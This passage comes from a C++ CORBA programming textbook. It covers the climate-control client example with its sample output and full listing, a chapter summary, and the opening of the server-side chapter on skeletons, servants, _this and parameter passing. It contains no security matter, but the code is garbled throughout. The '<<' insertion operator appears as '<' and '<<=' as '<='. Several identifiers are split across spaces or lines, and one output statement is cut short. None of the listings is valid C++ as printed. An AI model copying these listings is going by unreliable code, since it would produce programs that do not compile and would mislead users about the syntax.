Provided that a thermostat was found, we now call set_nominal with a legal 
temperature and a second time with an illegal temperature: 
       
       // Check that we found a thermostat on the list. 
       if (CORBA::is_nil(tmstat)) { 
           cout < "No thermostat devices in list." < endl; 
       } else { 
           // Set temperature of thermostat to 
           // 50 degrees (should work). 
           set_temp(tmstat, 50); 
           cout < endl; 
           // Set temperature of thermostat to 
           // -10 degrees (should fail). 
           set_temp(tmstat, -10); 
       } 
 
      
In both cases, we set the temperature by calling the set_temp helper function we 
described on page 325. set_temp invokes set_nominal and shows either the 
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updated nominal temperature (if the operation worked) or the details of a BadTemp 
exception (if the operation failed). 
 
The remainder of the client exercises the Controller object. The first step is to use the 
find operation to look for devices in rooms Earth and HAL: 
       
       // Look for device in Rooms Earth and HAL. This must 
       // locate at least one device because we earlier changed 
       // the location of the first device to Room Earth. 
       cout < "Looking for devices in Earth and HAL." < endl; 
       CCS::Controller::SearchSeq ss; 
       ss.length(2); 
       ss[0].key.loc(CORBA::string_dup("Earth")); 
       ss[1].key.loc(CORBA::string_dup("HAL")); 
       ctrl->find(ss); 
 
      
The trick here is to correctly fill in the search sequence. The search sequence contains 
structures that in turn are composed of a union containing a key member and a device 
member (recall the IDL at the end of Chapter 5). We create a local sequence variable 
ss, set its length to 2, and then initialize the union member of the each sequence element 
to the search key. The statements 
       
ss[0].key.loc(CORBA::string_dup("Earth")); 
ss[1].key.loc(CORBA::string_dup("HAL")); 
 
      
initialize the first two sequence elements by modifying the key members of these 
elements (which in turn are unions); the loc modifier method initializes the 
corresponding loc member. We then pass the search sequence to the find operation on 
the controller. 
 
When find completes, it will have updated the passed sequence with the devices it has 
found (recall that the sequence is passed to find as an inout parameter). The next few 
lines of code show how many devices were found and the details of each device. 
(Because there may be more than one device in a room, the sequence may have been 
updated to contain more elements than it had before the call.) 
       
       // Show the devices found in that room. 
       for (CORBA::ULong i = 0; i < ss.length(); i++) 
           cout < ss[i].device;               // Overloaded < 
       cout < endl; 
 
      
Again, the code iterates over the sequence and prints the details of each device. The 
statement 
       
cout < ss[i].device; 
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prints the structure member device (which is an object reference) on stdout, so the 
overloaded insertion operator we defined earlier shows the details of the device. 
 
The final step is to invoke the change operation on the controller. The change 
operation expects a list of references to thermostats together with a temperature delta 
value. This means that we must create a list containing only thermostats (of type 
ThermostatSeq) from the ThermometerSeq we obtained from the list operation. 
The easiest way to achieve this is to iterate over the polymorphic list we obtained earlier 
and to construct a new list that contains only thermostats: 
       
       // Increase the temperature of all thermostats 
       // by 40 degrees. First, make a new list (tss) 
       // containing only thermostats. 
       cout < "Increasing thermostats by 40 degrees." < endl; 
       CCS::Controller::ThermostatSeq tss; 
       for (CORBA::ULong i = 0; i < list->length(); i++) { 
           tmstat = CCS::Thermostat::_narrow(list[i]); 
           if (CORBA::is_nil(tmstat)) 
               continue;                   // Skip thermometers 
           len = tss.length(); 
           tss.length(len + 1); 
           tss[len] = tmstat; 
       } 
 
      
This code creates a new list (tss) from the old one, using _narrow to identify those 
devices that are thermostats. After we have constructed this list, changing the temperature 
of all thermostats is trivial: 
       
       // Try to change all thermostats. 
       try { 
           ctrl->change(tss, 40); 
       } catch (const CCS::Controller::EChange & ec) { 
           cerr < ec;                     // Overloaded < 
       } 
   } catch (const CORBA::Exception & e) { 
       cerr < "Uncaught CORBA exception: " < e < endl; 
       return 1; 
   } catch (...) { 
       return 1; 
   } 
   return 0; 
} 
 
      
If one or more thermostats cannot make the change because their legal temperature range 
is exceeded, the operation raises EChange, and we use the overloaded ostream 
inserter we defined earlier to show the details of the exception. This concludes the client 
code to exercise the climate control system. 
 
Here is the output produced from an example run of the client: 
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Controller has 7 devices. 
Thermometer: 
   Asset number: 1027 
   Model       : Sens-A-Temp 
   Location    : ENIAC 
   Temperature : 67 
Thermometer: 
   Asset number: 2029 
   Model       : Sens-A-Temp 
   Location    : Deep Thought 
   Temperature : 68 
Thermostat: 
   Asset number: 3032 
   Model       : Select-A-Temp 
   Location    : Colossus 
   Temperature : 67 
   Nominal temp: 68 
Thermostat: 
   Asset number: 4026 
   Model       : Select-A-Temp 
   Location    : ENIAC 
   Temperature : 58 
   Nominal temp: 60 
Thermostat: 
   Asset number: 4088 
   Model       : Select-A-Temp 
   Location    : ENIAC 
   Temperature : 51 
   Nominal temp: 50 
Thermostat: 
   Asset number: 8042 
   Model       : Select-A-Temp 
   Location    : HAL 
   Temperature : 40 
   Nominal temp: 40 
Thermometer: 
   Asset number: 8053 
   Model       : Sens-A-Temp 
   Location    : HAL 
   Temperature : 70 
 
Changing location of device 1027. 
New details for device 1027 are: 
Thermometer: 
   Asset number: 1027 
   Model       : Sens-A-Temp 
   Location    : Earth 
   Temperature : 71 
 
Setting thermostat 3032 to 50 degrees. 
Old nominal temperature was: 68 
New nominal temperature is: 50 
 
Setting thermostat 3032 to -10 degrees. 
Setting of nominal temperature failed. 
CCS::Thermostat::BtData details: 
   requested    : -10 
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   min_permitted: 40 
   max_permitted: 90 
   error_msg    : Too cold 
 
Looking for devices in Earth and HAL. 
Thermometer: 
   Asset number: 1027 
   Model       : Sens-A-Temp 
   Location    : Earth 
   Temperature : 67 
Thermostat: 
   Asset number: 8042 
   Model       : Select-A-Temp 
   Location    : HAL 
   Temperature : 38 
   Nominal temp: 40 
Thermometer: 
   Asset number: 8053 
   Model       : Sens-A-Temp 
   Location    : HAL 
   Temperature : 69 
 
Increasing thermostats by 40 degrees. 
Change failed: 
Thermostat: 
   Asset number: 4026 
   Model       : Select-A-Temp 
   Location    : ENIAC 
   Temperature : 62 
   Nominal temp: 60 
CCS::Thermostat::BtData details: 
   requested    : 100 
   min_permitted: 40 
   max_permitted: 90 
   error_msg    : Too hot 

8.7 The Complete Client Code 

For your reference, we reproduce the entire client code here. 
      
#include    <iostream.h> 
#include    "CCS.hh"        // ORB-specific 
//---------------------------------------------------------------- 
 
// Show the details for a thermometer or thermostat. 
static ostream & 
operator<(ostream & os, CCS::Thermometer_ptr t) 
{ 
   // Check for nil. 
   if (CORBA::is_nil(t)) { 
       os < "Cannot show state for nil reference." < endl; 
       return os; 
   } 
   
   // Try to narrow and print what kind of device it is. 
   CCS::Thermostat_var tmstat = CCS::Thermostat::_narrow(t); 
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   os < (CORBA::is_nil(tmstat) ? "Thermometer:" : "Thermostat:") 
      < endl; 
 
   // Show attribute values. 
   CCS::ModelType_var model = t->model(); 
   CCS::LocType_var location = t->location(); 
   os < "\tAsset number: " < t->asset_num() < endl; 
   os < "\tModel       : " < model < endl; 
   os < "\tLocation    : " < location < endl; 
   os < "\tTemperature : " < t->temperature() < endl; 
 
   // If device is a thermostat, show nominal temperature. 
   if (!CORBA::is_nil(tmstat)) 
       os < "\tNominal temp: " < tmstat->get_nominal() < endl; 
   return os; 
} 
//---------------------------------------------------------------- 
 
// Show the information in a BtData struct. 
 
static ostream & 
operator<(ostream & os, const CCS::Thermostat::BtDat 
a & btd) 
{ 
   os < "CCS::Thermostat::BtData details:" < endl; 
   os < "\trequested    : " < btd.requested < endl; 
   os < "\tmin_permitted: " < btd.min_permitted < endl; 
   os < "\tmax_permitted: " < btd.max_permitted < endl; 
   os < "\terror_msg    : " < btd.error_msg < endl; 
   return os; 
} 
//---------------------------------------------------------------- 
 
// Loop over the sequence of records in an EChange exception and 
// show the details of each record. 
static ostream & 
operator<(ostream & os, const CCS::Controller::EChange & ec) 
{ 
   for (CORBA::ULong i = 0; i < ec.errors.length(); i++) { 
       os < "Change failed:" < endl; 
       os < ec.errors[i].tmstat_ref;      // Overloaded < 
       os < ec.errors[i].info < endl;    // Overloaded < 
   } 
   return os; 
} 
//---------------------------------------------------------------- 
 
// Generic ostream inserter for exceptions. Inserts the exception 
// name, if available, and the repository ID otherwise. 
 
static ostream & 
operator<(ostream & os, const CORBA::Exception & e) 
{ 
   CORBA::Any tmp; 
   tmp <= e; 
   CORBA::TypeCode_var tc = tmp.type(); 
   const char * p = tc->name(); 
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   if (*p != '\0') 
       os < p; 
   else 
       os < tc->id(); 
   return os; 
} 
//---------------------------------------------------------------- 
 
// Change the temperature of a thermostat. 
 
static void 
set_temp(CCS::Thermostat_ptr tmstat, CCS::TempType new_temp) 
{ 
   if (CORBA::is_nil(tmstat))  // Don't call via nil reference 
       return; 
 
   CCS::AssetType anum = tmstat->asset_num(); 
   try { 
       cout < "Setting thermostat " < anum 
            < " to " < new_temp < " degrees." < endl; 
       CCS::TempType old_nominal = tmstat->set_nominal(new_temp); 
       cout < "Old nominal temperature was: " 
            < old_nominal < endl; 
       cout < "New nominal temperature is: " 
            < tmstat->get_nominal() <  
   } catch (const CCS::Thermostat::BadTemp & bt) { 
       cerr < "Setting of nominal temperature failed." < endl; 
       cerr < bt.details < endl;             // Overloaded < 
   } 
} 
//---------------------------------------------------------------- 
int 
main(int argc, char * argv[]) 
{ 
   try { 
       // Initialize the ORB 
       CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
 
       // Check arguments 
       if (argc != 2) { 
           cerr < "Usage: client IOR_string" < endl; 
           throw 0; 
       } 
 
       // Get controller reference from argv 
       // and convert to object. 
       CORBA::Object_var obj = orb->string_to_object (argv[1]); 
       if (CORBA::is_nil(obj)) { 
           cerr < "Nil controller reference" < endl; 
           throw 0; 
       } 
        // Try to narrow to CCS::Controller. 
       CCS::Controller_var ctrl; 
       try { 
           ctrl = CCS::Controller::_narrow(obj); 
       } catch (const CORBA::SystemException & se) { 
           cerr < "Cannot narrow controller reference: " 
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                < se < endl; 
           throw 0; 
       } 
       if (CORBA::is_nil(ctrl)) { 
           cerr < "Wrong type for controller ref." < endl; 
           throw 0; 
       } 
 
       // Get list of devices 
       CCS::Controller::ThermometerSeq_var list = ctrl->list(); 
       // Show number of devices. 
       CORBA::ULong len = list->length(); 
       cout < "Controller has " < len < " device"; 
       if (len != 1) 
           cout < "s"; 
       cout < "." < endl; 
 
       // If there are no devices at all, we are finished. 
       if (len == 0) 
           return 0; 
 
       // Show details for each device. 
       for (CORBA::ULong i = 0; i < list->length(); i++) 
           cout < list[i]; 
       cout < endl; 
       
       // Change the location of first device in the list 
       CCS::AssetType anum = list[0]->asset_num(); 
       cout < "Changing location of device " 
            < anum < "." < endl; 
       list[0]->location("Earth"); 
       // Check that the location was updated 
       cout < "New details for device " 
            < anum < " are:" < endl; 
       cout < list[0] < endl; 
 
       // Find first thermostat in list. 
       CCS::Thermostat_var tmstat; 
       for (   CORBA::ULong i = 0; 
               i < list->length() && CORBA::is_nil(tmstat); 
               i++) { 
           tmstat = CCS::Thermostat::_narrow(list[i]); 
       } 
 
       // Check that we found a thermostat on the list. 
       if (CORBA::is_nil(tmstat)) { 
           cout < "No thermostat devices in list." < endl; 
       } else { 
 
           // Set temperature of thermostat to 
           // 50 degrees (should work). 
           set_temp(tmstat, 50); 
           cout < endl; 
           // Set temperature of thermostat to 
           // -10 degrees (should fail). 
           set_temp(tmstat, -10); 
       } 
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       // Look for device in Rooms Earth and HAL. This must 
       // locate at least one device because we earl ier changed 
       // the location of the first device to Room Earth. 
       cout < "Looking for devices in Earth and HAL." < endl; 
       CCS::Controller::SearchSeq ss; 
       ss.length(2); 
       ss[0].key.loc(CORBA::string_dup("Earth")); 
       ss[1].key.loc(CORBA::string_dup("HAL")); 
       ctrl->find(ss); 
 
       // Show the devices found in that room. 
       for (CORBA::ULong i = 0; i < ss.length(); i++) 
           cout < ss[i].device;           // Overloaded < 
       cout < endl; 
       
       // Increase the temperature of all thermostats 
       // by 40 degrees. First, make a new list (tss) 
       // containing only thermostats. 
       cout < "Increasing thermostats by 40 degrees." < endl; 
       CCS::Controller::ThermostatSeq tss; 
       for (CORBA::ULong i = 0; i < list->length(); i++) { 
           tmstat = CCS::Thermostat::_narrow(list[i] 
); 
           if (CORBA::is_nil(tmstat)) 
               continue;                   // Skip thermometers 
           len = tss.length(); 
           tss.length(len + 1); 
           tss[len] = tmstat; 
        } 
       // Try to change all thermostats. 
       try { 
           ctrl->change(tss, 40); 
       } catch (const CCS::Controller::EChange & ec) { 
           cerr < ec;                     // Overloaded < 
       } 
   } catch (const CORBA::Exception & e) { 
       cerr < "Uncaught CORBA exception: " < e < endl; 
       return 1; 
   } catch (...) { 
       return 1; 
   } 
   return 0; 
} 
 

8.8 Summary 

We have come a long way since we first started to discuss the C++ mapping in Chapter 
6. Much of the code we showed in this chapter may still seem complex to you. However, 
consider the following. 
 
Much of the code (such as initialization and helper functions) is boilerplate, and you can 
write it once and forget about it thereafter. 



IT-SC book: Advanced CORBA® Programming with C++ 

 311

Much of the complexity in the client stems not from CORBA but from the fact that we 
have chosen to use complex nested data structures to illustrate the details of the C++ 
mapping for the various IDL data types. If you were to use similar nested data structures 
using ordinary C++ or STL containers, the complexity would be at a comparable level. 
On the other hand, consider that even though this client is fully distributed, when writing 
the client we enjoyed the following advantages. 
 
The code never had to specify anything like a machine name or port number. The client 
will correctly find the server no matter where the server is physically located. The client 
is ignorant of whether the server is linked into the client binary, runs as a separate process 
on the same machine, or runs on a machine on the other side of the world. 
 
The code never comes close to using something like a socket or a file descriptor. 
 
The code is completely shielded from the underlying transport layer and communication 
protocols. 
 
Connection management is transparent, and interactions appear connection-less. There is 
no need to obtain something like a session handle or to negotiate quality-of-service 
parameters such as time-outs. 
 
Client and server correctly communicate with each other regardless of implementation 
language and hardware architecture. A client written in C++ will correctly interact with a 
server written in Smalltalk, and a client running on a big-endian CPU will correctly work 
with a server on a little-endian CPU. Things such as differing alignment restrictions and 
padding rules for complex data are irrelevant to both client and server. 
 
The server need not be running when the client makes a call. As you will see in Chapter 
14, you can arrange for the ORB to automatically start the server on demand when the 
client uses it and to shut down the server again some time later. 
 
The source code is remarkably free from distribution artifacts. Remote invocations look 
like ordinary method calls, and even error handling is no more complex than for local 
function calls that can throw exceptions. 
 
Servers can migrate from machine to machine. We will discuss the details of this in 
Chapter 14. For now, you should simply note that the same controller reference will 
continue to work for the client even if the server is started on one machine today and on a 
different machine tomorrow. In other words, CORBA allows you to create references that 
(unlike URLs) do not break if the physical location of a server is changed. 
 
The server can be implemented in Java today and can be replaced by a C++ 
implementation tomorrow. The same client code can continue to use the same reference 
to the controller. 
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The client is not concerned with maintaining type safety. All interactions are compile-
time type-safe. 
 
The ORB transparently takes care of things such as loss of connectivity during 
interactions with the server. If connectivity is lost, a high-quality ORB will attempt to 
reconnect to the server before propagating a communication failure to the client 
application code. 
 
As you can see, the list of advantages is quite long and by no means trivial. If you have 
ever written interprocess communication code yourself—for example, using sockets or 
even simple things such as UNIX pipes—you know that to achieve any degree of 
reliability and portability, you must expend a lot of effort. Writing such low-level 
communication code is difficult and time-consuming, and it would likely take you years 
to bring it to the level of convenience offered by CORBA. In our opinion, CORBA 
provides the most cost-effective way in existence for writing distributed applications. To 
put it more bluntly, a CORBA remote procedure call is likely to be the easiest portable 
remote procedure call you have ever written. 
 
So what about all the complexity of the C++ mapping? As you continue reading the 
remainder of this book, you will rapidly become familiar with the mapping. You will 
quickly absorb things as background knowledge that seem complicated now. After a 
week or two of writing CORBA code, you will seldom notice things such as memory 
management rules. After you are a little more familiar with it, the C++ mapping actually 
makes it easy to write correct code and makes it difficult to write incorrect code. We see 
this as CORBA's most compelling advantage: you are free to focus on application 
semantics without continually getting distracted by infrastructure concerns. 
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Chapter 9. Server-Side C++ Mapping 

9.1 Chapter Overview 

This chapter describes how IDL interfaces map to C++ classes that support the creation 
and invocation of CORBA objects. Section 9.2 provides some general background on 
object adapters, specifically the POA, and the relationship between CORBA objects and 
programming language objects. We then devote several sections to covering how a 
simple CORBA object is implemented in C++. Following that, we present the details of 
the server-side C++ mapping in Section 9.7. In Section 9.8, we discuss issues 
related to using exceptions to indicate error conditions in your server implementations. 
Finally, in Section 9.9 we explain POA tie classes along with their advantages and 
disadvantages. 

9.2 Introduction 

As described in Section 2.3, CORBA objects take form within server applications. In a 
server, CORBA objects are implemented and represented by programming language 
functions and data. The programming language entities that implement and represent 
CORBA objects are called servants. Because servants essentially provide bodies for 
CORBA objects, they are said to incarnate CORBA objects. 
 
In CORBA, object adapters link the world of CORBA objects to the world of 
programming language servants. Conceptually, object adapters mediate between the ORB 
and programming language servants. They provide services for the creation of CORBA 
objects and their object references and for dispatching requests to the appropriate servants. 
The standard object adapter defined in the CORBA specification is the Portable Object 
Adapter (POA). It provides features necessary to allow programming language servants 
to be portable among ORBs supplied by different vendors. A server application may 
contain multiple POA instances to support CORBA objects with different characteristics 
or to support multiple servant implementation styles. However, all server applications 
have at least one POA called the Root POA. In this chapter we introduce only the basic 
usage of the Root POA needed to explain the server-side C++ mapping. More POA 
details are explained in Chapter 11. 
 
Figure 9.1 shows a greatly simplified illustration of the general relationships between 
an ORB, a POA Manager, a POA, and servants. Conceptually, requests for CORBA 
objects residing in the server application are sent from a client and arrive at the server 
ORB, which dispatches them to the POA in which the target object was created. The 
POA then further dispatches the request to the servant incarnating the target object. The 
servant carries out the request and returns any out and return values through the POA and 
ORB to the client. 
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Figure 9.1 Relationships between ORB, POA Manager, POA, and servants. 

 
Implied in Figure 9.1 is the event handling model used by server applications. A server 
cannot accept any incoming requests until it tells its ORB to start listening for them. In 
addition, because a single server application may contain multiple POAs, the flow of 
requests into each POA is controlled by a POAManager object associated with that POA. 
In addition to letting requests flow into a POA, a POAManager can queue requests for 
later dispatch or can discard them. 
 
Ultimately, each CORBA request received by a server application must be processed by a 
servant. The main function of the server-side C++ mapping is to allow applications to 
implement CORBA objects using C++ objects as servants. Because CORBA objects 
consist of interfaces, operations, and attributes, the server-side mapping specifies only 
how these IDL features appear in C++. All other IDL features have the same mapping on 
the server side as they do on the client side. 
 
Server-side C++ classes that correspond to IDL interfaces are called skeleton classes. 
They correspond to client-side proxy classes and are generated by IDL compilers into 
C++ source files that you compile into your application. Unlike their client-side 
counterparts, skeleton classes are intended to serve as base classes for application-
specific classes. The term skeleton refers to the fact that these classes supply only a 
support framework, or skeleton, for CORBA object implementations. By deriving servant 
classes from these skeleton classes, applications extend and complete the skeleton 
framework, thus allowing for the creation and incarnation of CORBA objects. 

9.3 Mapping for Interfaces 

The server-side C++ mapping generates a separate skeleton class for each IDL interface. 
Similar to the way IDL compilers generate header files to be included on the client side 
(as described in Section 8.4), IDL compilers normally generate header files that 
contain skeleton class definitions. The names and contents of these generated files differ 
among ORB implementations, but typically an IDL compiler emits both a header file and 
an implementation file. Consider the following simple interface: 
      
interface MyObject { 
    long get_value(); 
}; 
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The generated header file contains the following skeleton class definition: 
      
class POA_MyObject : public virtual PortableServer::ServantBase { 
public: 
    virtual CORBA::Long get_value() 
                            throw(CORBA::SystemException) = 0; 
    // ... 
}; 
 
     
For now, we have omitted a number of details of this class. The important points to note 
now are as follows. 
 
The name of the generated skeleton class POA_MyObject matches the MyObject IDL 
interface except for its POA_ prefix. The POA_ prefix serves to separate the names of 
server-side C++ classes from those generated for the client side. This namespace 
separation is important because most non-trivial CORBA applications are both servers 
for their own objects and clients of other objects. Without the difference in names, 
attempts to link client-side and server-side C++ classes in the same application would 
result in link-time errors because of multiply defined symbols. 
 
Note that it is only the name of the outermost scope that receives the POA_ prefix. If 
MyObject were defined in module Mod, for example, the fully scoped name of its 
generated skeleton class would be POA_Mod::MyObject. 
 
The skeleton class inherits from PortableServer::ServantBase, which is the 
common base class for all skeleton classes. 
 
The skeleton class provides a get_value method that corresponds to the IDL 
get_value operation. 
 
get_value is declared pure virtual, so the POA_MyObject skeleton class is an 
abstract base class that cannot be instantiated. 
 
get_value includes an exception specification that limits the types of C++ exceptions 
it can legally throw. Exception specifications are always generated for server-side 
methods as opposed to methods declared in client-side proxy classes, in which exception 
specifications are optional. All methods that implement IDL operations can throw 
CORBA system exceptions, and this means that the CORBA::SystemException 
base class is included in all skeleton class exception specifications. 
 
Later, we show some of the missing details of skeleton classes. ORBs typically also add 
implementation-specific member functions to skeleton classes. These functions are 
normally used by the object adapter to dispatch requests to the correct servant. You never 
need to call such ORB-specific functions yourself, so we do not show them and you can 
safely pretend that they do not exist. 
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9.4 Servant Classes 

To create a CORBA object of type MyObject, you must derive a servant class from the 
POA_MyObject class and implement all pure virtual methods. Consider the following 
servant class example: 
      
#include "my_objectS.hh" 
 
class MyObject_impl : public virtual POA_MyObject { 
public: 
    MyObject_impl(CORBA::Long init_val) : m_value(init_val) {} 
 
    virtual CORBA::Long get_value() throw(CORBA::SystemException); 
 
private: 
    CORBA::Long m_value; 
 
    // copy and assignment not needed 
    MyObject_impl(const MyObject_impl &); 
    void operator=(const MyObject_impl &); 
}; 
 
     
There are several important points to note about this servant class. 
 
We assume that we use our IDL compiler to compile the file my_object.idl, 
containing the IDL definition of the MyObject interface, to produce the server-side 
header file my_objectS.hh. (The name of the header file is not standardized, so the 
exact name will vary depending on the IDL compiler you use.) We include this header 
file to obtain the declaration for the POA_MyObject base class. 
 
The name chosen for the servant class, MyObject_impl, is entirely up to the 
application. It can be any name at all, as long as it does not clash with any names 
reserved by the C++ mapping, such as those beginning with POA_. We follow the 
convention of naming our servant classes with an _impl suffix so that we can tell by 
looking at the class name that it is a servant class. 
 
The MyObject_impl class inherits from the POA_MyObject skeleton as a virtual 
base class and overrides the pure virtual get_value function. This makes 
MyObject_impl a concrete class that can be instantiated. 
 
You are obliged to implement all inherited pure virtual functions in your servant class 
because otherwise the C++ compiler will not allow you to create instances of it. Beyond 
that, you can add whatever else you consider useful to support the implementation of 
your servant class. For example, you may want to add a constructor and destructor, 
additional member functions, or data members. You can also add a protected or private 
section. For this example, we have added a private data member called m_value of type 
CORBA::Long, and a constructor that initializes that member. We have also made the 
copy constructor and default assignment operator private, thereby disallowing copying of 
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our servant. In practice, there is rarely a need to copy-construct or assign servants, so we 
recommend hiding the copy constructor and default assignment operator for your servant 
classes. 
 
The implementation of the get_value method simply returns the m_value member: 
      
CORBA::Long 
MyObject_impl:: 
get_value() throw(CORBA::SystemException) 
{ 
    return m_value; 
} 
 
     
The implementation of get_value is so simple that no error conditions can arise, so it 
does not throw any exceptions. 
 
Because our servant class inherits virtual functions, it must redeclare those functions 
exactly as they are declared in the generated skeleton base class, including all exception 
specifications. Furthermore, the function names, signatures, and exception specifications 
for servant implementation definitions must exactly match their corresponding 
declarations. If there are mismatches, they are most likely to hide, rather than override, 
the inherited skeleton operations; this means that your servant classes inherit pure virtual 
functions and therefore will not be concrete. Getting these declarations and definitions 
correct can be error-prone, so many IDL compilers include options that cause them to 
generate empty servant class declarations and definitions. If your IDL compiler supports 
such a feature, we highly recommend that you use it when writing your servant classes. If 
it lacks this feature, we recommend that you cut and paste method declarations and 
implementations from the generated server-side files to avoid mistakes. 
 
The MyObject_impl class is quite simple, and yet it is complete. Instances of 
MyObject_impl are fully capable of incarnating CORBA objects of type MyObject. 

9.5 Object Incarnation 

To use an instance of the MyObject_impl servant class to incarnate a CORBA object, 
you must create a MyObject_impl servant, create a CORBA object, and register the 
servant as the incarnation of the CORBA object. Note that merely creating a C++ servant 
does not imply the creation of a CORBA object; each of the two entities has its own 
separate, distinct lifetime. 
 
To keep things simple, the following example shows the easiest way to simultaneously 
create both a C++ servant and a new CORBA object incarnated by that servant: 
      
// First create a servant instance. 
MyObject_impl servant(42); 
 
// Next, create a new CORBA object and use our new servant 
// to incarnate it. 
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MyObject_var object = servant._this(); 
 
     
The first line of code creates the servant instance and sets its value to 42. At this point, 
all we have is a C++ object—no connections between the servant and any CORBA 
objects have yet been made. 
 
The simple appearance of the second line of code is misleading. This invocation of the 
_this function of servant implicitly performs all the following steps: 
 
Creates a CORBA object under the Root POA 
Registers servant with the Root POA as the implementation for the new object 
Creates an object reference for the new object 
Returns the new object reference 
 
The _this function is supplied by the skeleton class. The following code again shows 
the generated POA_MyObject class, but this time we have included the _this member 
function that is generated by the IDL compiler: 
      
class POA_MyObject : public virtual PortableServer::ServantBase{ 
public: 
    virtual CORBA::Long get_value() 
                            throw(CORBA::SystemException) = 0; 
    MyObject_ptr        _this(); 
    // ... 
}; 
 
     
For any skeleton class POA_A representing IDL interface A, the return value of the 
POA_A::_this function is A_ptr, the C++ object reference type for interface A. 
Accordingly, in the preceding example, the return type of _this is MyObject_ptr. 
Because the caller of _this is responsible for ensuring that CORBA::release is 
eventually invoked on the returned object reference, we have assigned the return value to 
a MyObject_var in our example on page 355. 
 
Under these circumstances, the CORBA object created by _this is a transient object. A 
transient CORBA object is bounded by the lifetime of the POA in which it is created. 
However, _this can provide this form of creation and registration service only if the 
servant's POA was created with the appropriate policies. The standard set of policies 
supported by the Root POA were explicitly designed to allow _this to be used in this 
manner. We explore the details of POA policies in Chapter 11. 

9.6 Server main 

To complete our simple server application, we must provide a main function such as the 
following. 
      
#include "my_objectS.hh" 
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#include <iostream.h> 
 
int 
main(int argc, char * argv[]) 
{ 
    // Initialize the ORB. 
    CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
 
    // Get a reference to the Root POA. 
    CORBA::Object_var obj = 
        orb->resolve_initial_references("RootPOA"); 
 
    PortableServer::POA_var poa = 
        PortableServer::POA::_narrow(obj); 
     
    // Activate the Root POA's manager. 
    PortableServer::POAManager_var mgr = poa->the_POA Manager(); 
    mgr->activate(); 
 
    // Create a MyObject servant and then implicitly create a 
    // CORBA object and incarnate it with the servant. 
    MyObject_impl servant(42); 
    MyObject_var object = servant._this(); 
 
    // Convert the object reference to a string and write 
    // it to the standard output. 
    CORBA::String_var str = orb->object_to_string(object); 
    cout < str < endl; 
 
    // Allow the ORB to start processing requests. 
    orb->run(); 
 
    return 0; 
} 
 
     
This is a completely operational server main, and it works as follows. 

Step 1.  
We initialize an ORB via the standard CORBA::ORB_init call. 

Step 2.  
We use the ORB reference returned by ORB_init to invoke 
resolve_initial_references, which allows you to obtain object references to a 
small number of well-known interfaces. We use it to get a reference to the Root POA for 
the ORB, which we in turn use to get a reference to the POAManager for the Root POA. 
Activating the POAManager allows the Root POA to start processing requests as soon 
as the ORB starts listening for them. 

Step 3.  
We create a servant of type MyObject_impl. 

Step 4.  
We invoke the _this function of the servant to create a new transient CORBA object 
and incarnate it with the servant. Then we store the returned object reference into a 
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MyObject_var so that it will automatically be released when the MyObject_var 
goes out of scope. 

Step 5.  
To make the object reference for our new CORBA object available to potential clients, 
we convert it to a string by passing it to the ORB's object_to_string function. We 
assign the string returned by this function to a String_var to ensure its cleanup, and 
we then write it to the application's standard output. 

Step 6.  
We invoke the ORB::run operation to make the ORB start listening for requests. 
The conversion of the object reference to a string (detailed in Section 7.10) al lows 
clients to obtain the object reference in order to be able to invoke requests on the object. 
Of course, production applications would never advertise their object references in this 
manner, instead relying on object reference discovery services such as Naming (see 
Chapter 18) or Trading (see Chapter 19). However, the string conversion approach 
suffices for our simple example. A production application would also set up try and 
catch blocks to handle errors, but we have elided these to keep the example as simple 
as possible. 

9.7 Parameter Passing Rules 

Memory management is a key aspect of using the server-side C++ mapping. The simple 
example we have shown in the previous sections has avoided issues related to memory 
management in order to focus on servant class definitions. 
 
As with the client-side rules described in Chapter 7, the server-side parameter passing 
rules are motivated by two overriding requirements. 
 
Location transparency 
 
Memory management must be the same whether or not the client and target object are 
collocated. 
 
Efficiency 
 
Copying of parameters must be avoided whenever possible, especially when the client 
and target object are collocated. 
 
Not surprisingly, the server-side parameter passing rules are essentially a mirror image of 
the client-side rules, thus allowing for efficient dispatch for collocated objects. 
 
The parameter passing rules presented here follow the same order as their presentation in 
Section 7.14 for the client side. If you are not yet comfortable with the differences 
between fixed- and variable-length types and which IDL types fall into each category, 
please review Section 7.14.1 before continuing. 
 



IT-SC book: Advanced CORBA® Programming with C++ 

 321

9.7.1 Parameter Passing for Simple Types 

Simple types and enumerated types are passed by value or by reference depending on 
whether the parameter can be changed. Here is an IDL operation that uses a long 
parameter in all possible directions: 
       
 
interface Foo { 
  long long_op(in long l_in, inout long l_inout, out long l_out); 
}; 
 
      
The corresponding method in the skeleton class has the following signature: 
       
class POA_Foo : public virtual PortableServer::Servan tBase { 
public: 
    virtual CORBA::Long long_op( 
                            CORBA::Long      l_in, 
                            CORBA::Long &    l_inout, 
                            CORBA::Long_out  l_out 
                        ) throw(CORBA::SystemException) = 0; 
    // ... 
}; 
 
      
An implementation of long_op in a derived servant class might be written as follows: 
       
CORBA::Long 
Foo_impl:: 
long_op( 
    CORBA::Long      l_in, 
    CORBA::Long &    l_inout, 
    CORBA::Long_out  l_out 
) throw(CORBA::SystemException) 
{ 
    l_inout = l_in * 2; 
    l_out = l_in / 2; 
    return 99; 
} 
 
      
Values for both l_in and l_inout are passed into this function by the caller. Our 
implementation modifies the value of l_inout for the server ORB run time to send 
back to the client. The l_out parameter is uninitialized upon entering this function, so 
we also set its value. Finally, we send back the return value using a normal C++ return 
statement. 

9.7.2 Parameter Passing for Fixed-Length Complex Types 

The rules for passing fixed-length complex types (structures and unions) are similar to 
those for passing simple types except that in parameters are passed by reference to 
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const to avoid copying. Here is an IDL operation that passes a fixed-length structure 
parameter in all possible directions: 
       
struct Fls {           // Fixed-length struct 
    long    l_mem; 
    double  d_mem; 
}; 
interface Foo { 
  Fls fls_op(in Fls fls_in, inout Fls fls_inout, out Fls fls_out); 
}; 
 
      
The corresponding method in the skeleton class has the following signature: 
       
class POA_Foo : public virtual PortableServer::ServantBase { 
public: 
    virtual Fls fls_op( 
                    const Fls & fls_in, 
                    Fls &       fls_inout, 
                    Fls_out     fls_out 
                ) throw(CORBA::SystemException) = 0; 
    // ... 
}; 
 
      
An implementation of fls_op in a derived servant class might be written as follows: 
       
Fls 
Foo_impl:: 
fls_op( 
    const Fls & fls_in, 
    Fls &       fls_inout, 
    Fls_out     fls_out 
) throw(CORBA::SystemException) 
{ 
    // Use incoming values of fls_in and fls_inout (not shown). 
 
    // Modify fls_inout. 
    fls_inout.l_mem *= 2; 
    fls_inout.d_mem /= 2; 
 
    // Initialize fls_out. 
